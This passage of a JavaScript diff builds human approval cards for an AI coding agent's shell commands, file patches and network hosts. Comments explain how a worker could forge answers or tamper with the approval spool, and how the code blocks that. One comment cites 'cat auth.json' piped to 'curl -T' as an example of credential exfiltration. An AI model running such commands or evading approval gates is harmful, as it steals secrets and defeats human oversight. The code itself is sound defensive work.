* a card that also deletes something would be the card lying about half of
|
|
233
|
+
* itself.
|
|
234
|
+
*/
|
|
235
|
+
export function fileChangeCard(item) {
|
|
236
|
+
const blocks = [];
|
|
237
|
+
const words = [];
|
|
238
|
+
for (const change of Array.isArray(item?.changes) ? item.changes : []) {
|
|
239
|
+
const word = fileVerbWord(change);
|
|
240
|
+
if (!word) continue;
|
|
241
|
+
const from = String(change.path).trim();
|
|
242
|
+
const head = word === 'Move'
|
|
243
|
+
? `Move ${from} -> ${String(change.kind.move_path).trim()}`
|
|
244
|
+
: `${word} ${from}`;
|
|
245
|
+
// A trailing newline is a line terminator, not an empty last line -- the
|
|
246
|
+
// same rule `splitLines` states in main/codex.mjs, and ONE of them, so a
|
|
247
|
+
// file that really does end in blank lines still shows them.
|
|
248
|
+
const body = String(change.diff ?? '').replace(/\n$/, '');
|
|
249
|
+
blocks.push(body ? `${head}\n${body}` : head);
|
|
250
|
+
if (!words.includes(word)) words.push(word);
|
|
251
|
+
}
|
|
252
|
+
if (!blocks.length) return null;
|
|
253
|
+
return { tool: words.length === 1 ? words[0] : 'Edit', input: { changes: readable(blocks.join('\n\n')) } };
|
|
254
|
+
}
|
|
255
|
+
|
|
256
|
+
/**
|
|
257
|
+
* HOW MANY OF A WORKER'S CHANGES ARE HELD WAITING FOR AN APPROVAL TO NAME THEM.
|
|
258
|
+
*
|
|
259
|
+
* Measured, an approval follows its own `item/started` immediately, so one
|
|
260
|
+
* would do; this exists because "immediately" is an observation about 0.148.0
|
|
261
|
+
* and not a promise, and a turn can have several patches in flight.
|
|
262
|
+
*
|
|
263
|
+
* It is a real bound and not a gesture, which is the lesson CHANGE_FRAME_CAP in
|
|
264
|
+
* main/codex.mjs already records: a frame count is not a memory bound when each
|
|
265
|
+
* frame can carry a whole file. What is held here is the CARD, already cut to
|
|
266
|
+
* `CARD_CAP`, so the worst case is thirty-two times four thousand characters --
|
|
267
|
+
* about 130 KB per worker, and nothing a run that edits in a loop can grow.
|
|
268
|
+
*/
|
|
269
|
+
export const REMEMBERED_CHANGES = 32;
|
|
270
|
+
|
|
271
|
+
/**
|
|
272
|
+
* ONE APPROVAL REQUEST AS A CARD, or nothing.
|
|
273
|
+
*
|
|
274
|
+
* `Bash` and `command` are not a new vocabulary invented for this engine: they
|
|
275
|
+
* are the two keys renderer/src/App.tsx already reads off `input`, and Codex
|
|
276
|
+
* really does read, search and edit by running shell commands, so the honest
|
|
277
|
+
* spelling is also the matching one. `reason` becomes `description`, which is
|
|
278
|
+
* the line the card draws above the command.
|
|
279
|
+
*
|
|
280
|
+
* ------------------------------------------------------------------------
|
|
281
|
+
* A PATCH IS CARDED FROM THE ITEM, NOT FROM THE APPROVAL, AND THAT IS WHAT
|
|
282
|
+
* LETS A CODEX WORKER WRITE A FILE AT ALL.
|
|
283
|
+
*
|
|
284
|
+
* `FileChangeRequestApprovalParams` carries itemId, threadId, turnId,
|
|
285
|
+
* startedAtMs, an optional reason and an optional `grantRoot`. No path, no
|
|
286
|
+
* diff, no sentence -- measured in full on 2026-09-04:
|
|
287
|
+
*
|
|
288
|
+
* {"threadId":"...","turnId":"...","itemId":"call_eBjH...",
|
|
289
|
+
* "startedAtMs":1788504140524,"reason":null,"grantRoot":null}
|
|
290
|
+
*
|
|
291
|
+
* So this file used to refuse it, correctly on its own terms and at a price
|
|
292
|
+
* that turned out to be the whole integration. `WORKER_APPROVAL_POLICY` is
|
|
293
|
+
* `untrusted` (main/codex-session.mjs), which is the only policy that cards
|
|
294
|
+
* risky commands, and it also cards every patch -- so a refusal here was a
|
|
295
|
+
* worker that could not write one file. Measured, cwd a fresh git repo,
|
|
296
|
+
* sandbox `workspace-write`:
|
|
297
|
+
*
|
|
298
|
+
* untrusted risky commands CARDED, in-workspace patch raised the
|
|
299
|
+
* undrawable fileChange -> refused -> nothing written
|
|
300
|
+
* on-request commands NOT carded, patch ran unasked (so did a `curl` to
|
|
301
|
+
* the open internet on a second probe)
|
|
302
|
+
* granular commands NOT carded, patch ran unasked
|
|
303
|
+
*
|
|
304
|
+
* THE CARD CAN BE DRAWN HONESTLY AFTER ALL. `item/started` for the same
|
|
305
|
+
* fileChange arrives BEFORE the approval and carries the real content --
|
|
306
|
+
* three approvals out of three in the measured turn, `item/completed` only
|
|
307
|
+
* ever AFTER the answer:
|
|
308
|
+
*
|
|
309
|
+
* item/started fileChange id=call_ylWd... changes=2
|
|
310
|
+
* APPROVAL item/fileChange/requestApproval itemId=call_ylWd...
|
|
311
|
+
* item/completed fileChange id=call_ylWd... changes=2
|
|
312
|
+
*
|
|
313
|
+
* `seen` is that memory, one per worker (see `scope` below), and the card is
|
|
314
|
+
* the one `fileChangeCard` already built when the item went past.
|
|
315
|
+
*
|
|
316
|
+
* AN ITEM THIS WORKER NEVER SAW IS STILL REFUSED, and that is the line that
|
|
317
|
+
* must not move: a card she answers blind is the 2026-08-05 flood again, so an
|
|
318
|
+
* approval naming an unknown change gets null and the transport's deny, exactly
|
|
319
|
+
* as before. Refusing is cheap and visible -- it goes to the worker's own
|
|
320
|
+
* stderr, so `troubleCause` and the run trace both carry it.
|
|
321
|
+
*
|
|
322
|
+
* `item/permissions/requestApproval` IS STILL REFUSED OUTRIGHT, and there is no
|
|
323
|
+
* item behind it to rescue it: it is answered with a granted-permissions
|
|
324
|
+
* profile rather than a decision, and its params carry nothing that could be
|
|
325
|
+
* put in front of her as a sentence saying what she is allowing.
|
|
326
|
+
*
|
|
327
|
+
* A command approval WITH NO COMMAND is NOT the same judgement any more, and
|
|
328
|
+
* that is the correction. The schema makes `command` nullable, and this used to
|
|
329
|
+
* look at the first parsed action and then refuse -- while the same params
|
|
330
|
+
* carried `networkApprovalContext`, which names the host the sandbox would be
|
|
331
|
+
* opened to. Refusing something we could have described honestly is the
|
|
332
|
+
* opposite failure to carding something we could not, and it is worse: it
|
|
333
|
+
* denies work she would have allowed and tells her nothing about why.
|
|
334
|
+
*
|
|
335
|
+
* AND THE NETWORK GRANT GOES ON THE CARD BESIDE THE COMMAND, WHICH IS THE HALF
|
|
336
|
+
* THAT WAS SILENTLY MISSING. `curl` and the host it reaches are two facts and
|
|
337
|
+
* the card drew one of them, so she could authorise a displayed command without
|
|
338
|
+
* seeing the destination it opens. Measured from the CLI's own schema dump on
|
|
339
|
+
* this Mac 2026-09-05 (`codex app-server generate-json-schema --out <dir>`,
|
|
340
|
+
* codex-cli 0.148.0), CommandExecutionRequestApprovalParams:
|
|
341
|
+
*
|
|
342
|
+
* networkApprovalContext { host: string,
|
|
343
|
+
* protocol: "http"|"https"|"socks5Tcp"|"socks5Udp" }
|
|
344
|
+
* | null "Optional context for a managed-network
|
|
345
|
+
* approval prompt."
|
|
346
|
+
* commandActions CommandAction[] | null, every variant carrying its
|
|
347
|
+
* own `command` string -- "Best-effort parsed command
|
|
348
|
+
* actions for friendly display."
|
|
349
|
+
*
|
|
350
|
+
* `commandActions` IS READ IN FULL RATHER THAN AT ITS FIRST ENTRY, for the
|
|
351
|
+
* reason `readable` exists at all: the display boundary and the enforcement
|
|
352
|
+
* boundary must not differ, and `[cat auth.json, curl -T - elsewhere]` shown as
|
|
353
|
+
* its first line is a card that is true about a tenth of what it authorises.
|
|
354
|
+
*
|
|
355
|
+
* THE PROTOCOL IS PRINTED ONLY WHEN IT IS ONE OF THE FOUR WORDS THE SCHEMA
|
|
356
|
+
* ENUMERATES. A release that adds a fifth would otherwise put an unvouched-for
|
|
357
|
+
* word under a question about her machine; the host is the fact either way, so
|
|
358
|
+
* the host is said either way.
|
|
359
|
+
*
|
|
360
|
+
* WHAT AN ALLOW IS STILL NOT. `CommandExecutionApprovalDecision` also holds
|
|
361
|
+
* `acceptWithExecpolicyAmendment` and `applyNetworkPolicyAmendment`, which
|
|
362
|
+
* write a PERSISTENT rule for a command shape or a host, and the params carry
|
|
363
|
+
* `proposedExecpolicyAmendment` and `proposedNetworkPolicyAmendments` offering
|
|
364
|
+
* them. This file answers `accept` or `decline` and nothing else, so one card is
|
|
365
|
+
* one request and a yes she gave to one command never becomes a standing grant.
|
|
366
|
+
*/
|
|
367
|
+
export function codexApprovalCard(method, params, seen = null) {
|
|
368
|
+
const p = params ?? {};
|
|
369
|
+
|
|
370
|
+
if (method === 'mcpServer/elicitation/request') return mcpToolCard(p);
|
|
371
|
+
|
|
372
|
+
if (method === 'item/fileChange/requestApproval') {
|
|
373
|
+
const itemId = typeof p.itemId === 'string' ? p.itemId : '';
|
|
374
|
+
const known = itemId ? seen?.get?.(itemId) ?? null : null;
|
|
375
|
+
if (!known) return null;
|
|
376
|
+
const input = { ...known.input };
|
|
377
|
+
const why = typeof p.reason === 'string' ? p.reason.trim() : '';
|
|
378
|
+
if (why) input.description = why;
|
|
379
|
+
// THE TREE THE PATCH ASKS TO OPEN, WHICH IS NOT IN THE DIFF ABOVE IT.
|
|
380
|
+
// `grantRoot`, from the same schema dump: "[UNSTABLE] When set, the agent is
|
|
381
|
+
// asking the user to allow writes under this root for the remainder of the
|
|
382
|
+
// session." So an accept on one visible file can be read as opening a whole
|
|
383
|
+
// tree until the run ends, and the card drew the file. Nearly every patch
|
|
384
|
+
// sends null and then nothing is added, exactly as `cwd` behaves.
|
|
385
|
+
const root = typeof p.grantRoot === 'string' ? p.grantRoot.trim() : '';
|
|
386
|
+
if (root) input.grantRoot = root;
|
|
387
|
+
return { tool: known.tool, input };
|
|
388
|
+
}
|
|
389
|
+
|
|
390
|
+
if (method !== 'item/commandExecution/requestApproval') return null;
|
|
391
|
+
const spoken = typeof p.command === 'string' ? p.command.trim() : '';
|
|
392
|
+
const parsed = Array.isArray(p.commandActions)
|
|
393
|
+
? p.commandActions.map((a) => (typeof a?.command === 'string' ? a.command.trim() : '')).filter(Boolean).join('\n')
|
|
394
|
+
: '';
|
|
395
|
+
const command = spoken || parsed;
|
|
396
|
+
const host = networkHost(p.networkApprovalContext);
|
|
397
|
+
if (!command && !host) return null;
|
|
398
|
+
const input = {};
|
|
399
|
+
if (command) input.command = readable(command);
|
|
400
|
+
if (host) input.host = host;
|
|
401
|
+
// WHERE IT WOULD RUN, WHICH IS HALF OF WHAT THE COMMAND MEANS. `cat
|
|
402
|
+
// auth.json` in a scratch clone and `cat auth.json` in her home directory are
|
|
403
|
+
// the same eleven characters and two different questions.
|
|
404
|
+
// `CommandExecutionRequestApprovalParams` has carried `cwd` all along -- "The
|
|
405
|
+
// command's working directory", read out of the CLI's own
|
|
406
|
+
// `generate-json-schema` dump on 2026-09-04 -- and nothing was reading it.
|
|
407
|
+
// Left OFF entirely when the server did not say one, because a card drawing
|
|
408
|
+
// the word "undefined" under a command is worse than a card drawing nothing.
|
|
409
|
+
const cwd = typeof p.cwd === 'string' ? p.cwd.trim() : '';
|
|
410
|
+
if (cwd) input.cwd = cwd;
|
|
411
|
+
const reason = typeof p.reason === 'string' ? p.reason.trim() : '';
|
|
412
|
+
if (reason) input.description = reason;
|
|
413
|
+
return { tool: 'Bash', input };
|
|
414
|
+
}
|
|
415
|
+
|
|
416
|
+
/**
|
|
417
|
+
* THE SPOOL, FROM AGENTBOX'S SIDE OF IT.
|
|
418
|
+
*
|
|
419
|
+
* One of these per supervisor, shared by every Codex worker on the machine:
|
|
420
|
+
* the request ids are UUIDs and the founder answers them one at a time, so
|
|
421
|
+
* there is nothing per-worker to keep apart.
|
|
422
|
+
*
|
|
423
|
+
* `uuid` and `now` are injected so a test can name a card, and `timeoutMs` and
|
|
424
|
+
* `pollMs` so it does not have to wait a quarter of an hour to watch a silence
|
|
425
|
+
* deny itself.
|
|
426
|
+
*/
|
|
427
|
+
export function createCodexApprovals({
|
|
428
|
+
storeRoot,
|
|
429
|
+
timeoutMs = APPROVAL_TIMEOUT_MS,
|
|
430
|
+
pollMs = POLL_MS,
|
|
431
|
+
uuid = () => crypto.randomUUID(),
|
|
432
|
+
now = () => Date.now(),
|
|
433
|
+
onChange = null,
|
|
434
|
+
} = {}) {
|
|
435
|
+
const dir = spoolDir(storeRoot);
|
|
436
|
+
const open = new Map(); // id -> { request, scope, decide, deadline, poll }
|
|
437
|
+
|
|
438
|
+
/**
|
|
439
|
+
* Ask her one question, and never come back with nothing.
|
|
440
|
+
*
|
|
441
|
+
* The promise this returns is the one main/codex-app-server.mjs is holding
|
|
442
|
+
* the server request open on. It resolves with a word the transport can
|
|
443
|
+
* translate, or with the refusal; it never rejects and it never hangs,
|
|
444
|
+
* because a promise nobody settles is a worker parked with no exit code and
|
|
445
|
+
* nothing on the row, which is the failure that file was written around.
|
|
446
|
+
*/
|
|
447
|
+
const ask = (context, method, params, seen = null) => new Promise((resolve) => {
|
|
448
|
+
// AGENTBOX'S OWN STORE TOOLS ARE NOT A QUESTION FOR THE FOUNDER, AND ASKING
|
|
449
|
+
// HER ONE FOR EACH OF THEM WOULD BE THE SAME FAILURE AS REFUSING THEM.
|
|
450
|
+
//
|
|
451
|
+
// A Codex worker reaches the store the only way this engine has: an MCP tool
|
|
452
|
+
// call, which under `untrusted` raises the elicitation above. Claiming a
|
|
453
|
+
// row, writing a checkpoint and finishing one are therefore three cards she
|
|
454
|
+
// would have to press before a worker could say anything at all, on every
|
|
455
|
+
// run, and that is the plumbing rather than the work. The Claude Code path
|
|
456
|
+
// says the same thing in its own grammar and has all along: the store
|
|
457
|
+
// server's tools are granted outright in `worker-permissions.json` and never
|
|
458
|
+
// reach her spool.
|
|
459
|
+
//
|
|
460
|
+
// THE NAME IS THE ONE AGENTBOX LAUNCHED, not one a worker can claim. It comes
|
|
461
|
+
// from `_codexStoreServer` through `scope`, and the only servers on a worker
|
|
462
|
+
// thread are the ones `mcpIsolation` wrote into `thread/start` -- everything
|
|
463
|
+
// in her own config is switched off there by name. So a server answering to
|
|
464
|
+
// this name is the one this app started, with the account id, the product
|
|
465
|
+
// and the work item already fixed in its environment.
|
|
466
|
+
//
|
|
467
|
+
// EVERY OTHER MCP TOOL CALL STILL GOES TO HER, as a card drawn by
|
|
468
|
+
// `mcpToolCard`, and a personal session (which is given no store server at
|
|
469
|
+
// all) has nothing that takes this path.
|
|
470
|
+
if (method === 'mcpServer/elicitation/request'
|
|
471
|
+
&& isMcpToolCall(params)
|
|
472
|
+
&& isStoreElicitation(params, context?.storeServer)) {
|
|
473
|
+
resolve(ACCEPT_DECISION);
|
|
474
|
+
return;
|
|
475
|
+
}
|
|
476
|
+
|
|
477
|
+
const card = codexApprovalCard(method, params, seen);
|
|
478
|
+
if (!card) {
|
|
479
|
+
// VISIBLE ON THE RUN, NOT ONLY IN A LOG SHE WILL NEVER OPEN.
|
|
480
|
+
//
|
|
481
|
+
// Anything that cannot be described is refused, and that is right rather
|
|
482
|
+
// than lazy: a card she answers blind is the 2026-08-05 flood again. But
|
|
483
|
+
// the only signal used to be a `console.warn`, which reaches no screen, no
|
|
484
|
+
// row and no trace, so the symptom of a worker being refused every edit it
|
|
485
|
+
// tried was a run that talked and changed nothing.
|
|
486
|
+
//
|
|
487
|
+
// THE TWO REASONS ARE NOT THE SAME REASON and the line says which, because
|
|
488
|
+
// one of them is a live defect and the other is a decision. A `permissions`
|
|
489
|
+
// request carries nothing describable at all. A `fileChange` naming an item
|
|
490
|
+
// this worker never saw means the memory the card is drawn from missed it,
|
|
491
|
+
// which is something to go and look at (see `remember` below).
|
|
492
|
+
//
|
|
493
|
+
// `context.say` is the worker's own stderr emitter, which is the pipe
|
|
494
|
+
// `troubleCause` classifies a dead run from and the one the persisted
|
|
495
|
+
// trace records. The console line stays for a scope nobody wired a `say`
|
|
496
|
+
// to, which is a test and never a worker.
|
|
497
|
+
const why = method === 'item/fileChange/requestApproval'
|
|
498
|
+
? 'this run never saw the file change it names, so there is nothing it could put in front of the founder to answer'
|
|
499
|
+
: method === 'mcpServer/elicitation/request'
|
|
500
|
+
? 'an MCP server asked this run a question of its own, and a form only the founder could fill in is not something this app can answer for her'
|
|
501
|
+
: 'that approval carries no command, no path and no diff, so there is nothing it could put in front of the founder to answer';
|
|
502
|
+
const line = `${Name} refused a ${method} from this run: ${why}`;
|
|
503
|
+
if (typeof context?.say === 'function') context.say(line);
|
|
504
|
+
else console.warn(`zero: ${line}`);
|
|
505
|
+
resolve(REFUSAL_DECISION);
|
|
506
|
+
return;
|
|
507
|
+
}
|
|
508
|
+
|
|
509
|
+
const id = String(uuid());
|
|
510
|
+
const request = {
|
|
511
|
+
id,
|
|
512
|
+
at: now(),
|
|
513
|
+
product: context?.product ?? null,
|
|
514
|
+
item: context?.item ?? null,
|
|
515
|
+
tool: card.tool,
|
|
516
|
+
input: card.input,
|
|
517
|
+
};
|
|
518
|
+
|
|
519
|
+
// EVERY TOUCH OF THE SPOOL GOES THROUGH main/approvals.mjs, because that
|
|
520
|
+
// directory is worker-writable and the rule about what may be opened in it
|
|
521
|
+
// belongs in one place. `writeSpoolFile` creates at a name nothing can
|
|
522
|
+
// guess and renames onto the real one, so nothing here can be pre-created
|
|
523
|
+
// or followed.
|
|
524
|
+
let put = false;
|
|
525
|
+
try {
|
|
526
|
+
fs.mkdirSync(dir, { recursive: true });
|
|
527
|
+
put = writeSpoolFile(dir, `${id}.request.json`, JSON.stringify(request));
|
|
528
|
+
} catch (err) {
|
|
529
|
+
console.warn('zero: could not put a codex approval in the spool:', err?.message ?? err);
|
|
530
|
+
}
|
|
531
|
+
if (!put) {
|
|
532
|
+
// A question that cannot be asked has already been answered.
|
|
533
|
+
resolve(REFUSAL_DECISION);
|
|
534
|
+
return;
|
|
535
|
+
}
|
|
536
|
+
|
|
537
|
+
const entry = {
|
|
538
|
+
request,
|
|
539
|
+
// WHICH WORKER ASKED. A card is a question one run is parked on, so it
|
|
540
|
+
// has no meaning once that run has stopped -- see `scope` below.
|
|
541
|
+
scope: context?.scope ?? null,
|
|
542
|
+
decide(allow, note, extra) {
|
|
543
|
+
if (!open.delete(id)) return false;
|
|
544
|
+
clearTimeout(entry.deadline);
|
|
545
|
+
clearInterval(entry.poll);
|
|
546
|
+
finish(id, request, { allow: !!allow, note: note ?? null, at: now(), ...extra });
|
|
547
|
+
resolve(allow ? ACCEPT_DECISION : REFUSAL_DECISION);
|
|
548
|
+
return true;
|
|
549
|
+
},
|
|
550
|
+
};
|
|
551
|
+
entry.deadline = setTimeout(() => entry.decide(false, null, { timeout: true }), timeoutMs);
|
|
552
|
+
entry.deadline?.unref?.();
|
|
553
|
+
// NOBODY SHOULD EVER WRITE THIS FILE. Her answer comes in through `settle`,
|
|
554
|
+
// so one on the disk is a worker's, and it is removed rather than read.
|
|
555
|
+
entry.poll = setInterval(() => sweepForgery(id), pollMs);
|
|
556
|
+
entry.poll?.unref?.();
|
|
557
|
+
open.set(id, entry);
|
|
558
|
+
onChange?.();
|
|
559
|
+
});
|
|
560
|
+
|
|
561
|
+
function sweepForgery(id) {
|
|
562
|
+
if (!open.has(id)) return;
|
|
563
|
+
const forged = `${id}.answer.json`;
|
|
564
|
+
// `lstat`, not `existsSync`: a dangling link is an entry `readdir` can see,
|
|
565
|
+
// so `listPending` hides her card for it while `existsSync` reports
|
|
566
|
+
// nothing to sweep. And `rm`, not `unlink`, because a worker can squat the
|
|
567
|
+
// name with a directory, which `unlink` refuses (EPERM, measured) and
|
|
568
|
+
// which would then hide the card until the spool's own TTL.
|
|
569
|
+
if (!spoolEntryExists(dir, forged)) return;
|
|
570
|
+
removeSpoolEntry(dir, forged);
|
|
571
|
+
console.warn(`zero: an answer file appeared for approval ${id} that the founder did not write; it has been deleted and the card is still waiting`);
|
|
572
|
+
onChange?.();
|
|
573
|
+
}
|
|
574
|
+
|
|
575
|
+
/**
|
|
576
|
+
* One audit line per decision, and the pair leaves the spool. The same
|
|
577
|
+
* ending main/approval-prompt-server.mjs gives a Claude Code worker's card,
|
|
578
|
+
* because nothing else is going to reap these. */
|
|
579
|
+
function finish(id, request, decided) {
|
|
580
|
+
// Never held hostage to its own log line, which is why the return is
|
|
581
|
+
// ignored -- and why `appendSpoolLine` destroys a planted link rather than
|
|
582
|
+
// only refusing to follow one: a silent refusal here would hand a worker
|
|
583
|
+
// the audit trail for good.
|
|
584
|
+
appendSpoolLine(dir, 'log.jsonl', `${JSON.stringify({ ...request, answer: decided, decidedAt: now() })}\n`);
|
|
585
|
+
for (const f of [`${id}.request.json`, `${id}.answer.json`]) removeSpoolEntry(dir, f);
|
|
586
|
+
onChange?.();
|
|
587
|
+
}
|
|
588
|
+
|
|
589
|
+
let scopes = 0;
|
|
590
|
+
|
|
591
|
+
return {
|
|
592
|
+
/**
|
|
593
|
+
* ONE WORKER'S CARDS, AND A WAY TO END THEM WITH IT.
|
|
594
|
+
*
|
|
595
|
+
* Every Codex worker used to raise into one fleet-wide map with nothing
|
|
596
|
+
* per-worker in it, so killing a worker ended its facade and interrupted its
|
|
597
|
+
* turn and did NOT deny or remove its card. A stopped, preempted, archived
|
|
598
|
+
* or app-server-lost worker left a live-looking question on screen for the
|
|
599
|
+
* full fifteen minutes.
|
|
600
|
+
*
|
|
601
|
+
* That is not a card that merely lingers. `listPending` sorts oldest first
|
|
602
|
+
* and every answering route acts on `listPending[0]`, so the DEAD card sits
|
|
603
|
+
* in front of every real one until its deadline: she presses ⌘Y for the
|
|
604
|
+
* card she is reading and answers a worker that stopped ten minutes ago.
|
|
605
|
+
*
|
|
606
|
+
* `close` is what the worker's own exit calls. It denies this scope's open
|
|
607
|
+
* cards, once each, through the same `decide` her answer goes through -- so
|
|
608
|
+
* the audit line is written, the request file leaves the spool, and the
|
|
609
|
+
* promise the transport is holding the server request open on resolves with
|
|
610
|
+
* the refusal rather than being dropped.
|
|
611
|
+
*/
|
|
612
|
+
scope: (context = {}) => {
|
|
613
|
+
const id = `scope-${scopes += 1}`;
|
|
614
|
+
const bound = { ...context, scope: id };
|
|
615
|
+
// WHAT THIS WORKER HAS CHANGED, WAITING FOR THE APPROVAL THAT NAMES IT.
|
|
616
|
+
// Per worker and not per fleet, because an `itemId` is the app-server's
|
|
617
|
+
// own string and one process carries every Codex thread on the Mac: a
|
|
618
|
+
// shared memory would let thread A's patch answer thread B's question.
|
|
619
|
+
// It goes when the worker does, which is what `close` is for.
|
|
620
|
+
const seen = new Map(); // itemId -> the card its approval will be drawn as
|
|
621
|
+
return {
|
|
622
|
+
/**
|
|
623
|
+
* ONE NOTIFICATION, LOOKED AT ONLY FOR THE CHANGE IT MIGHT CARRY.
|
|
624
|
+
*
|
|
625
|
+
* `item/started` and nothing else, because that is the event measured to
|
|
626
|
+
* arrive BEFORE the approval; `item/completed` carries the same changes
|
|
627
|
+
* and arrives only after the answer, so a memory fed from it would
|
|
628
|
+
* always be one beat too late and would hold changes nothing will ask
|
|
629
|
+
* about again.
|
|
630
|
+
*
|
|
631
|
+
* Called on the session's own event path, so it is written to be unable
|
|
632
|
+
* to throw there: a reader that throws inside the supervisor's stream
|
|
633
|
+
* loop takes itself out for the rest of the session, which is a worker
|
|
634
|
+
* that keeps running and reports nothing.
|
|
635
|
+
*/
|
|
636
|
+
remember: (method, params) => {
|
|
637
|
+
try {
|
|
638
|
+
if (method !== 'item/started') return;
|
|
639
|
+
const item = params?.item;
|
|
640
|
+
if (item?.type !== 'fileChange' || typeof item.id !== 'string' || !item.id) return;
|
|
641
|
+
const card = fileChangeCard(item);
|
|
642
|
+
if (!card) return;
|
|
643
|
+
seen.set(item.id, card);
|
|
644
|
+
// Oldest out first. A Map keeps insertion order and re-setting a key
|
|
645
|
+
// does not move it, so this is the first change this worker made.
|
|
646
|
+
while (seen.size > REMEMBERED_CHANGES) seen.delete(seen.keys().next().value);
|
|
647
|
+
} catch { /* a card is never worth a session */ }
|
|
648
|
+
},
|
|
649
|
+
handle: (method, params) => ask(bound, method, params, seen),
|
|
650
|
+
close: (why = 'the worker that asked this has stopped') => {
|
|
651
|
+
seen.clear();
|
|
652
|
+
let closed = 0;
|
|
653
|
+
for (const entry of [...open.values()]) {
|
|
654
|
+
if (entry.scope !== id) continue;
|
|
655
|
+
if (entry.decide(false, why, { closed: true })) closed += 1;
|
|
656
|
+
}
|
|
657
|
+
return closed;
|
|
658
|
+
},
|
|
659
|
+
};
|
|
660
|
+
},
|
|
661
|
+
|
|
662
|
+
/**
|
|
663
|
+
* THE FOUNDER ANSWERED, and this is the only thing in the app that can say
|
|
664
|
+
* so. Called by main/ipc.mjs beside `approvals.answer`, in the same
|
|
665
|
+
* synchronous breath, so the two engines answer through one door.
|
|
666
|
+
*
|
|
667
|
+
* False for anything that is not an open Codex card: a Claude Code
|
|
668
|
+
* worker's request, or one this deadline already denied. Her late click on
|
|
669
|
+
* a card the clock closed twenty minutes ago must not approve a command
|
|
670
|
+
* the turn stopped waiting for.
|
|
671
|
+
*/
|
|
672
|
+
settle: (id, allow, note) => open.get(String(id))?.decide(allow, note) ?? false,
|
|
673
|
+
|
|
674
|
+
/**
|
|
675
|
+
* WHETHER THE CARD SHE READ IS STILL THE QUESTION THIS TURN IS PARKED ON.
|
|
676
|
+
*
|
|
677
|
+
* The answer does not come off the disk here -- that is the argument at the
|
|
678
|
+
* top of this file -- but the CARD does: it is drawn out of the same
|
|
679
|
+
* worker-writable spool `listPending` reads, and a Claude Code worker on the
|
|
680
|
+
* same Mac is granted that directory outright. So a Codex worker's card can
|
|
681
|
+
* be rewritten under it by the other engine, and `settle` would honour her
|
|
682
|
+
* Allow against the request still sitting in `open`, which is the one she
|
|
683
|
+
* never saw.
|
|
684
|
+
*
|
|
685
|
+
* `shown` is `approvals.cardShown`, the digest of what was last handed to
|
|
686
|
+
* her screen. This compares it against the request Agentbox itself built and
|
|
687
|
+
* has held in memory ever since, so nothing in the comparison has been off
|
|
688
|
+
* the disk twice. A digest that cannot be taken counts as changed, because
|
|
689
|
+
* the safe answer is the one that has to be the accident.
|
|
690
|
+
*
|
|
691
|
+
* FALSE FOR AN ID THIS ENGINE HAS NEVER HEARD OF, which is every Claude Code
|
|
692
|
+
* card and every card the deadline already closed. The door asks this about
|
|
693
|
+
* both engines' cards, and turning her Allow on a Claude Code card into a
|
|
694
|
+
* deny would be this method inventing a refusal she never got.
|
|
695
|
+
*/
|
|
696
|
+
changed: (id, shown) => {
|
|
697
|
+
const entry = open.get(String(id));
|
|
698
|
+
if (!entry) return false;
|
|
699
|
+
const mine = cardDigest(entry.request);
|
|
700
|
+
return !mine || mine !== shown;
|
|
701
|
+
},
|
|
702
|
+
|
|
703
|
+
/**
|
|
704
|
+
* Everything still waiting is denied, once. Agentbox is going away and a
|
|
705
|
+
* worker holding an unanswerable question is a worker holding forever. */
|
|
706
|
+
close: (why = `${Name} is shutting down`) => {
|
|
707
|
+
for (const entry of [...open.values()]) entry.decide(false, why, { closed: true });
|
|
708
|
+
},
|
|
709
|
+
|
|
710
|
+
pending: () => [...open.keys()],
|
|
711
|
+
};
|
|
712
|
+
}
|